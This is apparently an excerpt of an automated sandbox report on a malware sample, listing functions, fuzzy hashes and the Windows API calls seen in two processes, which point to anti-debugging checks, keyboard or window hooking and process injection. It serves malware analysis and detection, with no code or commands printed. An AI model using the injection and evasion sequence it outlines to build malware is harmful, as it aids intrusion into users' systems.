Opcode Fuzzy Hash: 2ca6052b8940a82a20ae09a5d6c1f600989b29af973cf0024e5f0f2a17525e1d
Instruction Fuzzy Hash: 41E11974E002598FDB14DFA9C5809AEFBB2FF89304F248169D919AB356C731AD42CF61

Uniqueness

Uniqueness Score: -1.00%

Function 009F55E0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.361089475.00000000009F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9f0000_dzoihohj75439.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc22503d51f23fe58583b005309fb4380f086198e9850d75e98f676f1fd1c0fc
Instruction ID: 6e28bd5fc107de8a9fe947718bd7104f46125193fb5ad7a91e8ff4af99fca4ec
Opcode Fuzzy Hash: bc22503d51f23fe58583b005309fb4380f086198e9850d75e98f676f1fd1c0fc
Instruction Fuzzy Hash: 56E13874E00619CFDB14DFA9C5809ADFBB2BF89304F248169D915AB356C731AD82CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 009F50F1 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.361089475.00000000009F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9f0000_dzoihohj75439.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 301bd67981b7c7318359f267486e45d2984c3285e4671223bb87fcbd0cc6f9cf
Instruction ID: a64a4be88b5e40ee000b677fe86b824d02ea3b8ab7e2c963690ffe9832dfc47b
Opcode Fuzzy Hash: 301bd67981b7c7318359f267486e45d2984c3285e4671223bb87fcbd0cc6f9cf
Instruction Fuzzy Hash: 96512C74E006198FDB14DFA9C5805AEFBF2BF89304F24816AD518AB355D7319E42CFA1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: dzoihohj75439.scrPID: 3788, Parent PID: 3456COMMON

Execution Graph

Execution Coverage:	11.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	50%
Total number of Nodes:	6
Total number of Limit Nodes:	0

Executed Functions

Function 001C5348 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNEL32(?,?), ref: 001C53BF

Memory Dump Source

Source File: 0000000D.00000002.718032319.00000000001C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1c0000_dzoihohj75439.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: e45ddd85885c73e1dafa4acbaad9b39d67360b110f96ba5930bb14a9d18d2fd2
Instruction ID: 77a1f4fc30fab4b73166473526154bb307cb42bea579df9266fb80eb3edf41e9
Opcode Fuzzy Hash: e45ddd85885c73e1dafa4acbaad9b39d67360b110f96ba5930bb14a9d18d2fd2
Instruction Fuzzy Hash: 992137B1800259CFDB00CF9AD884BEEFBF4AF49324F24846AD855B7250D778AA44CF61

Uniqueness

Uniqueness Score: -1.00%

Function 001C5340 Relevance: 1.6, APIs: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNEL32(?,?), ref: 001C53BF

Memory Dump Source

Source File: 0000000D.00000002.718032319.00000000001C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1c0000_dzoihohj75439.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 7c69591ff36b1294227ac80c95902ecc665e22bb2b5417c2e1d226a7c9feafc8
Instruction ID: 946b8b6e046fd15bac647b3c7235780dbb28e52b6bea7c91ef215d45a41699c4
Opcode Fuzzy Hash: 7c69591ff36b1294227ac80c95902ecc665e22bb2b5417c2e1d226a7c9feafc8
Instruction Fuzzy Hash: C32166B1800249CFCB00CFAAD884BEEBBF0AF49310F24842AD845B7251C378AA44CF61

Uniqueness

Uniqueness Score: -1.00%

Function 004FA538 Relevance: 1.6, APIs: 1, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowsHookExA.USER32(?,00000000,?,?), ref: 004FA5B3

Memory Dump Source

Source File: 0000000D.00000002.718182561.00000000004F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4f0000_dzoihohj75439.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: d96593d6fc062648d51a89933f5843b7b309acdd89f643d24a54184eab6f5c5f
Instruction ID: 150c234869a8d3544c7dfe19a8cf0fab5dac1950d7e503ce8ffebe7ba27be266
Opcode Fuzzy Hash: d96593d6fc062648d51a89933f5843b7b309acdd89f643d24a54184eab6f5c5f
Instruction Fuzzy Hash: BC21E8B5900209DFDB14CF99D844BEEBBF5EB88314F14842AE419A7250C774AA44CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0016D394 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.717931261.000000000016D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0016D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_16d000_dzoihohj75439.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e412644f590ded1e76618d4eaf540fd7a613143c0e104ba0dc9ecd405282eaf
Instruction ID: 5c4def56631e932d34473f2dcfed0a2cb092a0f4650cafcd9f6b1e7ea77b0aba
Opcode Fuzzy Hash: 7e412644f590ded1e76618d4eaf540fd7a613143c0e104ba0dc9ecd405282eaf
Instruction Fuzzy Hash: 6821B375B04240EFDB04CF14EDC4B26BB65FB84714F24C569D8494B646C736E866CA62

Uniqueness

Uniqueness Score: -1.00%

Function 0016D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.717931261.000000000016D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0016D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_16d000_dzoihohj75439.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1dbffdbda5c9c8edcfc78581d8c5b5b2f1002de123f9ca2ac36603b22506640
Instruction ID: f207e55360f9c669e334706274da970dd217a81226a14a9fea5356604f0e82d0
Opcode Fuzzy Hash: f1dbffdbda5c9c8edcfc78581d8c5b5b2f1002de123f9ca2ac36603b22506640
Instruction Fuzzy Hash: AA21B075A04340DFDB14DF14EDC4B26BB65EB84314F34C5A9E8494B246C33AD867CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0016D006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.717931261.000000000016D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0016D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_16d000_dzoihohj75439.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d901ba2131a10237530b1c378adfcf47bd133f4bf10198aaa990114cc4e6c31a
Instruction ID: 6baf45fdc843e4dd6cbc2bc20099be3736944573ad89ae7abc89654c5beb6630
Opcode Fuzzy Hash: d901ba2131a10237530b1c378adfcf47bd133f4bf10198aaa990114cc4e6c31a
Instruction Fuzzy Hash: 1F217C755093808FDB02CF24D994B15BF71EB46314F28C5EAD8498B2A7C33A981ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 0016D38F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.717931261.000000000016D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0016D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_16d000_dzoihohj75439.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea9aa13de3af6688b0190c548424d43cac2c886abfbda61e17135b2a085f984b
Instruction ID: f3d3e06189c58b35dd6ca7c292c78ad3de0d34b32150f2a8858e792cb6df7385
Opcode Fuzzy Hash: ea9aa13de3af6688b0190c548424d43cac2c886abfbda61e17135b2a085f984b
Instruction Fuzzy Hash: A811DD75A04280DFDB01CF10E9C4B15BFB1FB84314F24C6A9D8494BA52C33AE85ACFA2

Uniqueness

Uniqueness Score: -1.00%

Function 0015D849 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.717883394.000000000015D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0015D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_15d000_dzoihohj75439.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f016ded05d6a3b898844d873a64bc787e2fa2c4acbbc8a63a3c08bb8385add55
Instruction ID: 9e37034c340164fd11b08efc1125e1f498924af063f8819476fd41e3d83ebff9
Opcode Fuzzy Hash: f016ded05d6a3b898844d873a64bc787e2fa2c4acbbc8a63a3c08bb8385add55
Instruction Fuzzy Hash: F501F730104340EAF7345A15EC84766BF98DF81775F28C526DC251F282C379D848CB72

Uniqueness

Uniqueness Score: -1.00%

Function 0015D848 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.717883394.000000000015D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0015D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_15d000_dzoihohj75439.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a10a46bcd036f49d6922f7573a9ae3f93d9f7219222e0d5d2fe5b247d65bd012
Instruction ID: e24f6cd0a87f0437d636d8603884f38288595a700249b325b6d16602183c5de7
Opcode Fuzzy Hash: a10a46bcd036f49d6922f7573a9ae3f93d9f7219222e0d5d2fe5b247d65bd012
Instruction Fuzzy Hash: F8F06271504244EEE7208A16DCC4B62FF98EF81734F28C56AED185F282C3799948CBB1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: egFUHsL.exePID: 3884, Parent PID: 3800COMMON

Execution Graph

Execution Coverage:	17.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	118
Total number of Limit Nodes:	8

Executed Functions

Function 002FBC78 Relevance: 4.1, Strings: 3, Instructions: 377
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

/, xrefs: 002FBDE9
/, xrefs: 002FBDF5
/, xrefs: 002FBE11

Memory Dump Source

Source File: 0000000F.00000002.371709875.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2f0000_egFUHsL.jbxd

Similarity

API ID:
String ID: /$/$/
API String ID: 0-3284904579
Opcode ID: e1af24270335f1a161a4950cb5915612cc576c44a7d2543f5a0fbe6d9ce4e61b
Instruction ID: 5bc91f67604b474fc3b458aab5d1ed6eedfa6db8348eda10179bfb4d7ae2d267
Opcode Fuzzy Hash: e1af24270335f1a161a4950cb5915612cc576c44a7d2543f5a0fbe6d9ce4e61b
Instruction Fuzzy Hash: 47E17831A24219CFCB11CFA8C880AFEFBF1AF49340F14817AE619EB292D7749955CB51

Uniqueness

Uniqueness Score: -1.00%

Function 002FD0B8 Relevance: .4, Instructions: 423COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.371709875.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2f0000_egFUHsL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41337fd59909131cbae2557b28dd32429adc1c3c3ee99cdbbfc068d957212c8b
Instruction ID: 6dd26cdd79fc24ede62272e990e761fb4bf5ad0df2c61473c56b80763318c2e2
Opcode Fuzzy Hash: 41337fd59909131cbae2557b28dd32429adc1c3c3ee99cdbbfc068d957212c8b
Instruction Fuzzy Hash: 52F1F230A2920ACFD710DB78C8906BEFBB2AF85340F14817BE655DB285D774D862CB52

Uniqueness

Uniqueness Score: -1.00%

Function 002FE0D0 Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.371709875.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2f0000_egFUHsL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35b1ddc282e3e7b2debd6821bd43f47dce5fff3c7cff0978c9f25b5433fba1be
Instruction ID: efea84fcef4f59d743f2468e448eb253ba342258ee0f6a07ef41d8d8f60486f0
Opcode Fuzzy Hash: 35b1ddc282e3e7b2debd6821bd43f47dce5fff3c7cff0978c9f25b5433fba1be
Instruction Fuzzy Hash: B5915C31A29389CFDB238F258C5467BFBB1AF41740F1681BBD6568B2B2D6B48C50C752

Uniqueness

Uniqueness Score: -1.00%

Function 002F8DB0 Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.371709875.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2f0000_egFUHsL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2af115f879d317194fd610e17f83eab50a8d4caed4dc253e3562887cf7f5eca0
Instruction ID: 6805b77e1efc9a389b7ba9a87f55aebabc4b4e36221c0e0241674217bf992e20
Opcode Fuzzy Hash: 2af115f879d317194fd610e17f83eab50a8d4caed4dc253e3562887cf7f5eca0
Instruction Fuzzy Hash: AE81E431A2824ACFC7118F68C8806BAFBF1EF42340F5485BBE256D7291DB74D965C712

Uniqueness

Uniqueness Score: -1.00%

Function 002FB05D Relevance: 4.2, Strings: 3, Instructions: 451
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

p!p, xrefs: 002FB15E
~, xrefs: 002FAEAA
:, xrefs: 002FAF14

Memory Dump Source

Source File: 0000000F.00000002.371709875.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2f0000_egFUHsL.jbxd

Similarity

API ID:
String ID: :$p!p$~
API String ID: 0-320839381
Opcode ID: b07538545d598bac344557eab105543b5b921154b79f4d7e57bbbdbeebbae2ca
Instruction ID: daeafaf1929274d4e1a7bee8338c33fbd4cdf79ed993864869a2a813bad4f6e3
Opcode Fuzzy Hash: b07538545d598bac344557eab105543b5b921154b79f4d7e57bbbdbeebbae2ca
Instruction Fuzzy Hash: D722E675910219DFDB25CF64C984EA9BBB2FF48304F1580E5E609AB222D732DD91DF50

Uniqueness

Uniqueness Score: -1.00%

Function 002F7CBE Relevance: 3.9, Strings: 3, Instructions: 179
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

f"p, xrefs: 002F7E9E
f"p, xrefs: 002F8040
f"p, xrefs: 002F7E8E

Memory Dump Source

Source File: 0000000F.00000002.371709875.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2f0000_egFUHsL.jbxd

Similarity

API ID:
String ID: f"p$ f"p$ f"p
API String ID: 0-381425725
Opcode ID: 4e6ba40817a772dfefb4614207f0814832194908e44dd2a6127dac9558fb8320
Instruction ID: 1aa0b6d1cc2c2c96c74c8656358e7d7540bc539820557d4434ba1b7ca7015eec
Opcode Fuzzy Hash: 4e6ba40817a772dfefb4614207f0814832194908e44dd2a6127dac9558fb8320
Instruction Fuzzy Hash: 1F617D30E2821DDFDB248F94D544ABDF3B2BB84381F65457AE602AB3A0CBB09C51CB51

Uniqueness

Uniqueness Score: -1.00%

Function 002F1874 Relevance: 2.7, Strings: 2, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

f"p, xrefs: 002F1B25
f"p, xrefs: 002F19F3

Memory Dump Source

Source File: 0000000F.00000002.371709875.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2f0000_egFUHsL.jbxd

Similarity

API ID:
String ID: f"p$ f"p
API String ID: 0-249740337
Opcode ID: 94483302059883a6299b6941b09905ac4600a50588b89c04000f9bc516c002a1
Instruction ID: fb67f794dffbdd432c3d88b5e69f906bf07f38eecc009913ba9294e047424e96
Opcode Fuzzy Hash: 94483302059883a6299b6941b09905ac4600a50588b89c04000f9bc516c002a1
Instruction Fuzzy Hash: 69716C30E2424DCBEB248F94D554BBCF3B5AB44391FA48076E611AB394C7B09CB1DB91

Uniqueness

Uniqueness Score: -1.00%

Function 002F7D8B Relevance: 2.7, Strings: 2, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

f"p, xrefs: 002F8040
f"p, xrefs: 002F7E8E

Memory Dump Source

Source File: 0000000F.00000002.371709875.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2f0000_egFUHsL.jbxd

Similarity

API ID:
String ID: f"p$ f"p
API String ID: 0-249740337
Opcode ID: 0d5b9dfddd9b38e7f946869e442e9dd3766bdc4c6497c67d1086f64cfca8b522
Instruction ID: 05f5c0c8051dd3bf577ee19ea75d9b75f225f9fb15d2db98bb5f904c31ec9b63
Opcode Fuzzy Hash: 0d5b9dfddd9b38e7f946869e442e9dd3766bdc4c6497c67d1086f64cfca8b522
Instruction Fuzzy Hash: 70517E30A2811CCFDB258F54D444BBDF3B2BF50381F65417AE612AB2A1CBB09CA5DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00AA6573 Relevance: 1.8, APIs: 1, Instructions: 325
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00AA683F

Memory Dump Source

Source File: 0000000F.00000002.372341368.0000000000AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_aa0000_egFUHsL.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 3c98f4a7545aca201327e05262326d9ae4be2dc6d9dd0abbba23528dc09f9363
Instruction ID: 59ba408317d389d541918d99d7913dd7b37c32b586a9ef3e4286a5503edc5743
Opcode Fuzzy Hash: 3c98f4a7545aca201327e05262326d9ae4be2dc6d9dd0abbba23528dc09f9363
Instruction Fuzzy Hash: 27C12570D00219CFDF24CFA4C855BEEBBB1BB4A304F0495A9E819B7290DB749A85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00AA6578 Relevance: 1.8, APIs: 1, Instructions: 323
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00AA683F

Memory Dump Source

Source File: 0000000F.00000002.372341368.0000000000AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_aa0000_egFUHsL.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 909950d544bc50f566db176ab6b1fe6bbec452e91f2b2dba9a1ce8e5b33bef04
Instruction ID: 2b07c1622e707f3657b2c0b7a804e7edd380c774c9f3e29ed16d397795f82c9b
Opcode Fuzzy Hash: 909950d544bc50f566db176ab6b1fe6bbec452e91f2b2dba9a1ce8e5b33bef04
Instruction Fuzzy Hash: 82C12570D00219CFDF24CFA4C855BEEBBB1BB4A304F0495A9E819B7280DB749A85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00AA61E0 Relevance: 1.6, APIs: 1, Instructions: 118
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 00AA62B3

Memory Dump Source

Source File: 0000000F.00000002.372341368.0000000000AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_aa0000_egFUHsL.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: bf816c7dd239b349814e23276a3389d4d8ad73f0dd2829498f1192eae0777258
Instruction ID: 19459dc78e55d41aba5587db2ba3bef507d49591d1915ae172776b293027ec97
Opcode Fuzzy Hash: bf816c7dd239b349814e23276a3389d4d8ad73f0dd2829498f1192eae0777258
Instruction Fuzzy Hash: F04199B4D012589FCF00CFA9D984AEEFBB1BB49314F24942AE814BB250D774AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00AA6338 Relevance: 1.6, APIs: 1, Instructions: 110
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 00AA63F2

Memory Dump Source

Source File: 0000000F.00000002.372341368.0000000000AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_aa0000_egFUHsL.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 24fcfaae02546baf9a7f7cf45f99992307dd0f078643106d94531a855af576e7
Instruction ID: cd8d835a2e6ffebb46ddc305fba6dde26b8041915588d566b64aed8d96f7da0e
Opcode Fuzzy Hash: 24fcfaae02546baf9a7f7cf45f99992307dd0f078643106d94531a855af576e7
Instruction Fuzzy Hash: DF41AAB8D00258DFCF00CFA9D984AEEFBB1BB49310F24942AE815B7250D775AA45CF65

Uniqueness

Uniqueness Score: -1.00%

Function 00AA6340 Relevance: 1.6, APIs: 1, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 00AA63F2

Memory Dump Source

Source File: 0000000F.00000002.372341368.0000000000AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_aa0000_egFUHsL.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 1d9630d59346ae971ef190d84acc71e781fbdd8d9c2af1f40fb0c8c761e79716
Instruction ID: ae0b18713834c5e8561329204a82355cc4a91befc62f19e7696cdc6d9864c9ed
Opcode Fuzzy Hash: 1d9630d59346ae971ef190d84acc71e781fbdd8d9c2af1f40fb0c8c761e79716
Instruction Fuzzy Hash: D44199B8D00258DFCF00CFA9D984AEEFBB1BB49310F24942AE815B7250D775AA45CF65

Uniqueness

Uniqueness Score: -1.00%

Function 00AA60B4 Relevance: 1.6, APIs: 1, Instructions: 105
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 00AA6162

Memory Dump Source

Source File: 0000000F.00000002.372341368.0000000000AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_aa0000_egFUHsL.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b4aba5f75d5acbc26500eeccab75bb40906afac36cd15b4c1859b1a15b062bf7
Instruction ID: 4f841b90b5f30ea13b3d4584e1c00a34839834ab6fdaeb8360c59b17636a0154
Opcode Fuzzy Hash: b4aba5f75d5acbc26500eeccab75bb40906afac36cd15b4c1859b1a15b062bf7
Instruction Fuzzy Hash: 8A41A8B8D00259DFCF10CFA9D984AEEFBB1AB49310F24942AE815BB250D735A906CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00AA60B8 Relevance: 1.6, APIs: 1, Instructions: 103
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 00AA6162

Memory Dump Source

Source File: 0000000F.00000002.372341368.0000000000AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_aa0000_egFUHsL.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c88e9b9e5e67248e8711c3495b258e44d9a450522632ee234f044a25239a4c35
Instruction ID: fda6f3eee1066131603f9fe8303c96a64e1cb1485e9898677250b8b31ef06b98
Opcode Fuzzy Hash: c88e9b9e5e67248e8711c3495b258e44d9a450522632ee234f044a25239a4c35
Instruction Fuzzy Hash: C44199B8D00259DFCF10CFA9D984AEEFBB1BB49310F24942AE814B7250D735A945CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00AA5F84 Relevance: 1.6, APIs: 1, Instructions: 98
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 00AA6037

Memory Dump Source

Source File: 0000000F.00000002.372341368.0000000000AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_aa0000_egFUHsL.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: fe2cee174d16eb4ea01cf2431e652224308e1e2d5dc805b76ef8102bb678bbe1
Instruction ID: a9068ec6858e43ac7b9ba0ee32cb9d5fd52aa821ff38047e6527340a602477b8
Opcode Fuzzy Hash: fe2cee174d16eb4ea01cf2431e652224308e1e2d5dc805b76ef8102bb678bbe1
Instruction Fuzzy Hash: 1941C0B4D00258DFDB10CFA9D984AEEFBB1BF49314F24802AE415B7250D7799A45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00AA5F88 Relevance: 1.6, APIs: 1, Instructions: 96
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 00AA6037

Memory Dump Source

Source File: 0000000F.00000002.372341368.0000000000AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_aa0000_egFUHsL.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 6ca10b03434a93961771b76d3d5b26b00ff8d7a16d732eb5e88f32a4d8cedbbb
Instruction ID: de45f17437f5ec05654c0951c87ee8e004a1cd6d10133d1a02ad7f987e7163dc
Opcode Fuzzy Hash: 6ca10b03434a93961771b76d3d5b26b00ff8d7a16d732eb5e88f32a4d8cedbbb
Instruction Fuzzy Hash: 6641BDB4D00258DFDB10CFA9D984AEEFBB1BF49314F24842AE814B7250D779AA85CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00AA5E96 Relevance: 1.6, APIs: 1, Instructions: 76
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32(?), ref: 00AA5F16

Memory Dump Source

Source File: 0000000F.00000002.372341368.0000000000AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_aa0000_egFUHsL.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 8d01261a22b6ffff129a2d7c61f9285d1bed2b6b384993023af2fe7f6df856ec
Instruction ID: 0ebf6b620640a652cd28dc3b77ac852760e158d51032702b6abdab6f2281fe7b
Opcode Fuzzy Hash: 8d01261a22b6ffff129a2d7c61f9285d1bed2b6b384993023af2fe7f6df856ec
Instruction Fuzzy Hash: A431D8B8D00259DFCF10CFA9D984AEEFBB0AF89314F24842AE815B7250C734A905CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00AA5E98 Relevance: 1.6, APIs: 1, Instructions: 75threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32(?), ref: 00AA5F16

Memory Dump Source

Source File: 0000000F.00000002.372341368.0000000000AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_aa0000_egFUHsL.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 7d2fff390f45234c35acf7e68101726c3197a467c0cd72702591780514382404
Instruction ID: 1650fdbe68b983812edc835a789c6f10d1b302427cf523d1a24ac32f24ce237b
Opcode Fuzzy Hash: 7d2fff390f45234c35acf7e68101726c3197a467c0cd72702591780514382404
Instruction Fuzzy Hash: 4631D8B4D00248DFCF10CFA9D984AEEFBB0AF89314F24842AE814B7240C734A901CF98

Uniqueness

Uniqueness Score: -1.00%

Function 002F133D Relevance: 1.6, Strings: 1, Instructions: 302COMMON

Download Yara Rule

Strings

$p, xrefs: 002F136A

Memory Dump Source

Source File: 0000000F.00000002.371709875.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2f0000_egFUHsL.jbxd

Similarity

API ID:
String ID: $p
API String ID: 0-1693848773
